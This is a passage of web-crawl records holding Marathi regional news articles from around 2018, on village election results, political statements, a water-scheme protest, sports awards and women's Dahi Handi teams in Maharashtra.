प्रमाणपत्र सादर न केल्यामुळे ग्रामपंचायत सदस्यांनाही अपात्रतेच्या कारवाईला सामोरे जावे लागणार आहे. यामध्ये दिंडोरी तालुक्यात सर्वाधिक 387 सदस्यांचा समावेश आहे. नाशिक तालुक्यात 231, इगतपुरी 12, त्र्यंबकेश्‍वर 274, पेठ 269, सुरगाणा 53, देवळा 49, बागलाण 261, कळवण 64, मालेगाव 176 , चांदवड 327, येवला 216, नांदगाव 301, निफाड 133, सिन्नर 266 अशा एकूण तीन हजार 19 ग्रामपंचायत सदस्यांना त्यांची खुर्ची सोडावी लागणार आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00186.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Sangli/Gram-Panachyat-election/", "date_download": "2018-09-25T17:13:01Z", "digest": "sha1:ZUE6RQRC3NS535EHJQ6JQRLM4M3AVSNO", "length": 6625, "nlines": 43, "source_domain": "www.pudhari.news", "title": " आटपाडी तालुक्यात भाजप ; सेनेची सहा ग्रामपंचायतीवर सत्ता | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Sangli › आटपाडी तालुक्यात भाजप ; सेनेची सहा ग्रामपंचायतीवर सत्ता\nआटपाडी तालुक्यात भाजप ; सेनेची सहा ग्रामपंचायतीवर सत्ता\nतालुक्यातील 15 ग्रामपंचायतींच्या निवडणुकीत भाजप आणि शिवसेनेने प्रत्येकी सहा ग्रामपंचायतीवर झेंडा फडकविला. तर कँाग्रेसने दोन ग्रामपंचायती ताब्यात घेतल्या.विभुतवाडीत भाजप-सेनेच्या संयुक्त आघाडीने सत्ता मिळविली.आटपाडीच्या सरपंच पदाच्या प्रतिष्ठेच्या लढतीत शिवसेनेच्या वृषाली धनंजय पाटील यांनी भाजपच्या मनीषा आबासाहेब पाटील यांच्यावर दणदणीत मात करत सरपंचपद पटकाविले.तालुक्यातील पंधरा ग्रामपंचायतींसाठी आज तहसील कार्यालयात मतमोजणी झाली.या निवडणुकीत भाजपने निंबवडे, काळेवाडी, मापटेळा, भिंगेवाडी, बनपुरी, मासाळवाडी या ग्रामपंचायती ताब्यात घेतल्या.शिवसेनेने आटपाडीचे सरपंचपद आणि पुजारवाडी,करगणी, मिटकी, पिंपरी खुर्द,खांजोडवाडी या ग्रामपंचायतींवर सत्ता स्थापन्न केली.नेलकरंजी आणि मानेवाडी या ग्रामपंचायतीवर कँग्रेसने सत्ता मिळविली.विभुतवाडीत भाजप-सेनेच्या संयुक्त आघाडीने बाजी मारली.नेलकरंजीत,बनपुरी आणि मिटकीत सत्तांतर झाले.\nआटपाडीच्या ग्रामपंचायतीच्या निवडणुकीत भाजपचे पंधरा सदस्य बिनविरोध निवडुन आले होते.सरपंचपद आणि दोन सदस्यांसाठी निवडणुक लागली होती. सरपंच पदाच्या प्रतिष्ठेच्या लढतीत सेनेच्या वृषाली पाटील यांनी भाजपच्या मनिषा पाटील यांचा 681मतांनी दारुण पराभव केला.\nथेट निवडणुकीत निवडूण आलेले सरपंच\nआटपाडी-वृषाली धनंजय पाटील, करगणी-गणेश लक्ष्मण खंदारे\nमापटेमळा-रघुनाथ रामचंद्र माळी, पिंपरी खुर्द-सुनिता नामदेव कदम,\nविभुतवाडी-चंद्रकांत रामचंद्र पावणे, बनपुरी-सुनिता महादेव पाटील,\nखांजोडवाडी-रामदास दत्तात्रय सुर्यवंशी,भिंगेवाडी-बाळासाहेब हजारे,\nनेलकरंजी-बाबासो सुखदेव भोसले, काळेवाडी-सिताबाई किसन काळे,मासाळवाडी-सखुबाई महादेव तळे, मानेवाडी-अमोल विठ्ठल खरात,\nमिटकी-दादा दाजी कोळेकर,पुजारवाडी(आटपाडी)-मंगल दगडु मोटे\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00186.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.pudhari.news/news/Sangli/Mhaisal-water-issue-All-party-morcha-in-miraj/", "date_download": "2018-09-25T17:00:15Z", "digest": "sha1:R2EPVK5LOYECAHKQAZN3NDVLJSHC2G5O", "length": 5180, "nlines": 35, "source_domain": "www.pudhari.news", "title": " म्हैसाळच्या पाण्यासाठी मिरजेत सर्वपक्षीय मोर्चा | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Sangli › म्हैसाळच्या पाण्यासाठी मिरजेत सर्वपक्षीय मोर्चा\nम्हैसाळच्या पाण्यासाठी मिरजेत सर्वपक्षीय मोर्चा\nम्हैसाळ योजनेची थकबाकी टंचाई निधीतून भरून योजना सुरू करा, या मागणीसाठी काँग्रेस, राष्ट्रवादी काँग्रेस, जनता दल, शिवसेना यांच्यावतीने तहसील कार्यालयावर मोर्चा काढण्यात आला.\nकिसान चौकातून काढण्यात आलेल्या मोर्चाचे नेतृत्व राष्ट्रवादी काँग्रेसचे जिल्हा उपाध्यक्ष मनोज शिंदे, बाळासाहेब होनमोरे, काँग्रेसचे पं. स. सदस्य अनिल आमटवणे, तालुकाध्यक्ष अण्णासाहेब कोरे, प्रा. सिद्धार्थ जाधव यांच्या नेतृत्वाखाली काढण्यात आलेल्या मोर्चात बाजार समिती सभापती दिनकर पाटील, आप्पासो हुळ्ळे, प्रा. प्रमोद इनामदार, संजय ऐनापुरे, दिलीप बुरसे, चंद्रकांत मैगुरे, संजय काटे, बी. आर. पाटील, वसंतराव गायकवाड, सुभाष खोत यांच्यासह तालुक्यातील कार्यकर्ते मोठ्या संख्येने सहभागी झाले होते. नायब तहसीलदार के. बी. सोनवणे यांना मागण्यांचे निवेदन देण्यात आले.\nम्हैसाळ योजनेचे पाणी दि. 8 मार्चपर्यंत सोडण्यात यावे, अन्यथा दि. 13 मार्चरोजी रास्तारोको आणि दि. 20 मार्चपासून सर्वपक्षीय उग्र आंदोलन करण्याचा इशारा तहसीलदारांना दिलेल्या निवेदनात दिला आहे. यावेळी आ. सुरेश खाडे यांच्या विरोधात कार्यकर्त्यांनी घोषणाबाजी केली. खोटी आश्‍वासने देणार्‍या आमदारांवर कारवाई करा, अशी मागणी केली आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00186.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://mahasports.co.in/chamundeswaranath-to-gift-bmw-to-mithali-raj/", "date_download": "2018-09-25T17:01:45Z", "digest": "sha1:3E7WAXWVP6NRBKQURPE4VN72DHDPH3PO", "length": 7222, "nlines": 60, "source_domain": "mahasports.co.in", "title": "कर्णधार मिताली राज मिळणार बीएमडब्लू कार गिफ्ट -", "raw_content": "\nकर्णधार मिताली राज मिळणार बीएमडब्लू कार गिफ्ट\nकर्णधार मिताली राज मिळणार बीएमडब्लू कार गिफ्ट\nभारतीय महिला संघावर सध्या शुभेच्छा आणि बक्षिसांचा वर्षाव होत आहे. कालच हरमनप्रीत कौरला पंजाब सरकारने पोलीस दलात नोकरीची घोषणा केली. त्यापाठोपाठ आता तेलंगणा बॅडमिंटन असोसिएशनचे उपाध्यक्ष चांमुडेश्वर नाथ यांनी मितालीला बीएमडब्लू कार देणार असल्याची घोषणा केली आहे.\nमितालीने संपूर्ण स्पर्धेत ९ सामन्यात तब्बल ४०९ धावा केल्या असून आयसीसीने तिला विश्वचषक संघाचं कालच कर्णधार म्हणून घोषित केले आहे.\nभारतीय महिला संघ मिताली राजच्या नेतृत्वाखालीच दुसऱ्यांदा विश्वचषकाच्या अंतिम फेरीत पोहचला होता. एवढी जबरदस्त कामगिरी केल्यामुळे बीसीसीआयकडून महिला संघाला प्रत्येकी ५० लाख रुपयांचे बक्षीसही जाहीर केले आहे.\nतेलंगणा बॅडमिंटन असोसिएशनचे उपाध्यक्ष असणाऱ्या चांमुडेश्वर नाथ यांनी या बक्षिसाची घोषणा केली असून त्यांनीच यापूर्वी २००७मध्ये मितालीला शेर्वेलो कार गिफ्ट केली होती.\nगेल्या ऑगस्ट महिन्यात पीव्ही सिंधूने आणि साक्षी मलिक यांनी जेव्हा ऑलिम्पिक पदक जिंकले होते त्यांना चांमुडेश्वर नाथ यांनी बीएमडब्लू कार भेट दिल्या होत्या. त्यावेळी मास्टर ब्लास्टर सचिन तेंडुलकरच्या हस्ते पीव्ही सिंधूने, दीपा कर्मकार, गोपीचंद आणि साक्षी मलिक यांना ह्या कार देण्यात आल्या होत्या.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00186.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Ahamadnagar/Forest-Minister-Sudhir-Mungantiwar-in-Shirdi/", "date_download": "2018-09-25T16:56:01Z", "digest": "sha1:6Y4YVTQYKJMKAKYBXMAQFAPAZMXKQRFC", "length": 9707, "nlines": 42, "source_domain": "www.pudhari.news", "title": " मराठा आरक्षणासाठी सरकार अनुकूल | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Ahamadnagar › मराठा आरक्षणासाठी सरकार अनुकूल\nमराठा आरक्षणासाठी सरकार अनुकूल\nमराठा समाज हा पराक्रमी समाज आहे. मराठा समाजाने समाजाच्या उन्नतीसाठी तसेच सर्व अठरापगड जातींच्या रक्षणासाठी पराक्रम उपयोगात आणला आहे. मराठा समाजाच्या मागण्या मान्य करण्यासाठी सरकारने भूमिका स्पष्ट केली असल्याचे प्रतिपादन राज्याचे वित्त आणि नियोजन वनमंत्री सुधीर मुनगंटीवार यांनी शिर्डीत केले.\nना. मुनगंटीवार यांनी काल माध्यान्ह आरतीला हजेरी लावून साई समाधीचे दर्शन घेतले. यावेळी आ. स्नेहलता कोल्हे, साईबाबा संस्थानचे माजी विश्वस्त सचिन तांबे, उपजिल्हाधिकारी धनंजय निकम, उपविभागीय पोलीस अधिकारी आनंद भोईटे, शिर्डी उपविभागीय पोलीस अधिकारी अभिजित शिवथरे, भाजपचे गजाजन शेर्वेकर, किरण बोर्‍हाडे, स्वानंद रासने, आकाश तिवारी, साईराज कोते, योगेश गोंदकर, प्रसाद शेलार आदी मान्यवर उपस्थित होते.\nयावेळी पत्रकारांशी बोलताना ना. मुनगंटीवार म्हणाले, मराठा समाजाने आपल्या मागण्यासाठी शांततेच्या मार्गाने आंदोलने करण्याबद्दल आक्षेप नसून हिंसेच्या मार्गाने अवलंब न करता शांततामय मार्गाने आंदोलन करावे. मराठा समाजाची ताकद अख्ख्या महाराष्ट्राने बघितली आहे.\nमराठा समाजास न्याय देण्यासाठी मुख्यमंत्री आग्रही आहे. आरक्षणाची संविधानिक प्रक्रिया पूर्ण करून भाजप सरकार मराठा समाजातील गरिबातील गरीब लोकांना न्याय मिळवून देण्यासाठी कटिबद्ध आहे. राज्यात कर्जमाफी, दूध दरवाढ, मराठा आरक्षण यासाठी सरकार विरोधात रान पेटविले असताना जळगाव आणि सांगली महापालिकेचा निकाल ही विरोधकांना चपराक आहे.\nभारतीय जनता पक्षाच्या दृष्टीने सत्ता हे जनतेचे इच्छा आकांशा पूर्ण करण्याचे साधन आहे. सत्ता हे कधी साध्य राहिले नाही. राज्यात आमच्या पक्षाच्या सरकारने गेली साडेतीन पावणेचार वर्ष जनतेच्या इच्छा पूर्ण करण्याचा प्रयत्न केला. राज्यात 47 वर्ष दोन महिने एक दिवस काँग्रेसचे सरकार होते. मागील पंधरा वर्ष काँग्रेस आणि राष्ट्रवादी यांचे आघाडी सरकार होते. पंधरा वर्षामध्ये जे प्रश्‍न सुटले नाही ते प्रश्‍न या सरकारच्या माध्यमातून सुटावे ही त्यांची ठाम इच्छा आहे, याचा अर्थ काँग्रेस व राष्ट्रवादीच्या नेत्यांचा स्वतःवर कमी आणि सरकारवर जास्त विश्वास आहे.\nशिवसेनेबरोबर युती असावी तसेच 25 वर्षाची आमची मैत्री कायम राहावी, अशी आमच्या पक्षाची इच्छा आहे. युती तोडण्यासाठी भाजपचे नाव पुढे येणार नाही तर युती जोडण्यासाठी आमच्या पक्षाचे नाव पुढे येईल. शेवटी निर्णय शिवसेनेचा आहे असेही त्यांनी सांगितले.\nमुख्यमंत्री बदलाचे वारे वाहत असल्याची जोरदार चर्चा होत असल्याच्या वक्तव्यावर स्मितहास्य करीत ते म्हणाले, असे भाष्य फक्त चार ते पाच लोक करीत असून मुख्यमंत्री बदलण्याची मागणी गैर असल्याचे त्यांनी सांगितले.\n13 कोटी वृक्ष लागवडीचा संकल्प महाराष्ट्राच्या जनतेचा व्हावा ही माझी आग्रही भूमिका आहे. काही लोकांनी वृक्ष लावावे आणि काहींनी हेटाळणी करावी, अशी अपेक्षा या तेरा कोटी वृक्ष लागवडीत नाही. अजूनही राज्यात 81 टक्के साक्षरता आणि 19 टक्के निरक्षरता असल्याचे सांगून जनतेने सहभाग वाढविला पाहिजे.\nझाड लावण्याच्या मिशनवर टीकाकार म्हणून भाष्य करण्याऐवजी वृक्ष लावून माझ्या कृतीतून हे मिशन पुढे नेईल, अशी सर्वांनी भूमिका ठेवली तर महाराष्ट्र देशासाठी पायोनिअर होईल. कदाचित जगभरातून राज्याचे वृक्ष लागवडीबद्दल कौतुक होईल, असे ना. मुनगंटीवार यांनी सांगितले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00187.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Belgaon/BJP-s-struggle-for-hatrick-/", "date_download": "2018-09-25T17:09:15Z", "digest": "sha1:XLLKQOY2DDM5SVKWTFTCO7QYGDFJXIZF", "length": 8496, "nlines": 39, "source_domain": "www.pudhari.news", "title": " ‘हॅट्ट्रिक’साठी भाजपची धडपड | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Belgaon › ‘हॅट्ट्रिक’साठी भाजपची धडपड\nविधानसभा निवडणुकीचे पडघम जोरात वाजू लागले आहेत. यामुळे इच्छुकांची धावपळ सुरू झाली असून रायबाग विधानसभा मतदार संघातील हालचालीना वेग आला आहे. भाजपकडून हॅट्रीक साधण्यासाठी प्रयत्न करण्यात येणार आहे. तर काँग्रेसने भाजपच्या ताब्यातील हा मतदारसंघ खेचून आणण्याचा जोरदार प्रयत्न चालविला आहे.\nविधानसभा मतदारसंघाची 2008 मध्ये पुनर्रचना करण्यात आली. त्यानंतर हा राखीव मतदारसंघ अस्तित्वात आला. यामुळे सुरुवातीच्या काळात काँग्रेसच्या विचारसरणीचा आणि माजी मंत्री व्ही. एल. पाटील यांच्या विचाराचा पगडा असणारा मतदार संघ भाजपने पटकावला.गेल्या दोन निवडणुकांमध्ये भाजपचे आ. दुर्योधन ऐहोळे यांनी याठिकाणी विजय मिळविला. 2013 च्या निवडणुकीत त्यांना निसटत्या विजयावर समाधान मानावे लागले. याठिकाणी अपक्ष उमेदवार प्रदीप माळगी यांना केवळ 829 इतक्या अत्यल्प मतांनी पराभव स्वीकारावा लागला. त्यावेळी सुकुमार किरणगी यांनी 30 हजार 43 मते मिळविली होती.\nगेल्या पाच वर्षांत राजकीय समीकरणे बदलली आहेत. प्रदीप माळगी यांनी काँग्रेसचा हात धरला आहे. यामुळे काँग्रेसच्या गोट्यात उत्साह संचारला आहे. भाजपला चितपट करण्याचे मनसुबे काँग्रेसकडून आखण्यात येत आहेत.\nकाँग्रेसकडून प्रदीप माळगी यांना उमेदवारी मिळण्याची शक्यता आहे. यासाठी माळगी यांनी विधानपरिषद सदस्य विवेकराव पाटील यांच्या माध्यमातून प्रयत्न चालविले आहेत. तर मागील विधानसभा निवडणुकीत काँग्रेसची खिंड लढविलेले सुकुमार किरणगी, महावीर मोहिते यांनी उमेदवारीसाठी प्रयत्न चालविले आहेत. यामध्ये प्रदीप माळगी यांचे पारडे जड असल्याचे सांगण्यात येत आहे. यावेळी प्रदीप माळगी हे दुर्योधन ऐहोळे यांना कडवी झुंज देण्याची शक्यता आहे. यामुळे भाजपला विजय मिळविण्यासाठी चांगलाच घाम गाळावा लागणार आहे. काँग्रेसने इच्छुकांचे समाधान केल्यास ते भाजपची अपेक्षित हॅटट्रिक रोखण्याची शक्यता वर्तविण्यात येत आहे.\nमतदारसंघात पूर्वीपासून माजी आ. व्ही. एल. पाटील यांना मानणारा खास वर्ग आहे. तो नेहमीच काँग्रेसला पसंती देत आला आहे. मात्र, मध्यंतरी व्ही. एल. पाटील यांच्या कुटुंबामध्ये झालेल्या मतभेदामुळे काहींनी भाजपला पसंती दिली. ती भाजपच्या पथ्यावर पडली.मतदारसंघात 56 हजार इतकी सर्वाधिक मते लिंगायत समाजाची आहे. त्याखालोखाल 42 हजार धनगर, 21 हजार अनुसूचित जाती, 21 हजार अनुसूचित जमाती, 22 हजार मुसलमान, 8 हजार जैन तर 6 हजार मराठा समाजाची मते आहेत.लिंगायत समाजाने आजवर भाजपला पसंती दिली आहे. मात्र, स्वतंत्र लिंगायत धर्मासाठी छेडलेल्या आंदोलनानंतर समाजात वेगवेगळे मतप्रवाह निर्माण झाले आहेत. यामुळे लिंगायत मतांची विभागणी होण्याची शक्यता असून परिणामी याचा लाभ काँग्रेसला होण्याची शक्यता वर्तविण्यात येत आहे. यावरच विजयाची गणिते अवलंबून राहणार आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00187.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Women-s-Govinda-Dahi-Handi-enthusiasm/", "date_download": "2018-09-25T16:54:58Z", "digest": "sha1:NLCYKSNLZK6X3MIOMIJCRQLPNXRRZD5C", "length": 10666, "nlines": 41, "source_domain": "www.pudhari.news", "title": " महिला गोविंदांचा थरथराट! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › महिला गोविंदांचा थरथराट\nडीजेच्या तालावर ठेका धरत दहीहंडी फोडण्यामध्ये महिला गोविंदाही कुठेही कमी नव्हत्या. मुंबई शहर आणि उपनगरात खास महिलांसाठी अनेक ठिकाणी राजकीय, सामाजिक हंड्यांचे आयोजन करण्यात आले होते. महिलांनी जास्तीत जास्त 6 थर लावून सलामी देत या दहीहंड्या फोडल्या. महिला गोविंदाचा उत्साह वाढवण्यासाठी अनेक सेलिब्रिटींनी विविध मंडळांना हजेरी लावली होती.\nबोरिवली, मालाड, विलेपार्ले, वर्सोवा, अंधेरी, जोगेश्‍वरी, कांदिवली, गोरेगाव, गिरगाव, वरळी, दादर, या परिसरात राजकीय नेत्यांसह मंडळांच्या हंड्या महिला गोविंदांचे लक्ष वेधून घेत होत्या. जवळपास महिनाभराच्या सरावानंतर दहीहंडी फोडण्यासाठी महिला पथके आतुर झाली होती. पार्ले स्पोर्ट्स क्‍लब पार्ले या महिला गोविंदा पथकाने मुंबई व उपनगरात सहा थरांची सलामी देत हंड्या फोडल्या. अंधेरी, वर्सोवा, विलेपार्ले, बोरिवली याठिकाणी या महिला गोविंदांनी हंड्या फोडल्या. पुरुषांच्या बरोबरीने या पथकाला अंधेरीच्या मंडळाकडून पन्नास हजाराचे बक्षीस देण्यात आले. या मंडळात दीडशेच्या वर गोविंदांनी सहभाग घेतला होता.\nगर्दीमुळे अनेक ठिकाणी पोहोचता आले नाही. त्यामुळे हंड्या कमी फोडण्यास मिळाल्या. काही आयोजकांकडून महिला पथकांच्या बाबतीत दुजाभाव केला. अनेक आयोजकांकडून मराठी तसेच हिंदी चित्रपटसृष्टीतील बोलवण्यात आलेल्या सेलिब्रिटींमुळे तासन्तास ताटकळत उभे रहावे लागले. राजकीय मंडळी व सेलिब्रिटींना आधी महत्त्व दिले जात होते. महिला यादृष्टीने आयोजकांकडून पुरेसे आयोजन केले नव्हते, असा आरोप पार्ले स्पोर्ट्स क्‍लब पार्ले या महिला गोविंदा पथकाच्या गीता झगडे यांनी आयोजकांवर केला आहे.\nगिरगावचा राजा महिला दहीहंडी पथकाने गिरगावच्या राजाचा विजय असो, बोलत देवाला नमस्कार करून सरावाच्या जागेवर बांधलेली मानाची हंडी फोडत सुरुवात केली. त्यानंतर गिरगाव येथील गोवर्धनदास, आंबेवाडी, क्षत्रिय निवास, कांतीनगर, भुलेश्‍वर, ठाकूरद्वारा, वरळी, शिवडी, दादर येथे चार थराच्या सलामी देत दहीहंडी फोडल्या. दिवसभरात सगळीकडे चांगले मानधन देऊन सावित्रीच्या लेकी असे संबोधत कौतुकाची थाप मिळवली. गिरगावचा राजा महिला दहीहंडी पथक 10 वर्षांपासून शहर व उपनगरांत ठिकठिकाणी हंड्या फोडत आहे.\nसलामी देण्याचा मान सलग दहा वर्षांपासून 22 वर्षीय वीना कदम या महिला गोविंदाला मिळत आहे. या पथकात 18 ते 30 वर्षांपर्यंतच्या व्यवसायाने डॉक्टर, इंजिनीयर, वकील तर शालेय विद्यार्थिनी अशा महिलांचा समावेश आहे. सलामी देऊन मिळालेल्या बक्षिसाच्या रकमेतून सामाजिक संस्थेतील अनाथ मुलांना वस्तूंचे वाटप केले जाते. तसेच काही रक्कम गिरगावच्या राजा या गणपतीसाठी देणगी स्वरुपात दिली जाते. विशेषत: कामाठीपुरामधील अनेक गल्ल्यांमध्ये या पथकाकडून हंड्या फोडल्या जातात. अशी माहिती पथकाच्या प्रशिक्षिका श्रद्धा तेंडुलकर यांनी दिली.\nजोगेश्‍वरी माता गोविंदा पथक, जागृत हनुमान मंदिर जोगेश्‍वरी, रणझुंजार गोविंदा पथक जोगेश्‍वरी, स्वस्तिक गोविंदा महिला पथक गोरेगाव, गावदेवी महिला गोविंदा पथक गोरेगाव, गोरखनाथ महिला गोविंदा पथक कुर्ला या सगळ्या पथकांनी पाच थराची सलामी दिल्या.\nमुंबई, नवी मुंबई, ठाणे परिसरातील मिळून जवळपास 40 महिला गोविंदा पथके आहेत. महिलांच्या पथकाने 3 ते 6 थरापर्यंत सलामी दिल्या. एका पथकात कमीत कमी 50 पासून जास्तीत जास्त 200 पर्यंत महिलांचा समावेश होता.\nआयोजकांकडून महिला गोविंदांना प्रथम प्राधान्य देण्यात आले होते. दहीहंडीच्या ठिकाणी महिला कुठेही अडकणार नाहीत याची काळजी आयोजक घेत होते. यावर्षी मागील वर्षापेक्षा बक्षिसांची रक्कम वाढविण्यात आली होती. मुंबई शहर व उपनगरात त्यामानाने आयोजक कमी झाले आहेत. ठाण्याला बक्षिसांच्या रकमा मोठ्या असल्याने हंडी फोडण्यासाठी मुंबईऐवजी प्रथम प्राधान्य ठाण्याला देण्यात येत होते.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00187.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/Jeep-collapsed-in-canal-A-missing-in-phaltan/", "date_download": "2018-09-25T17:05:35Z", "digest": "sha1:XIO6C3VFHIR4TCQFR3MZQOMHL5JNYRCQ", "length": 8175, 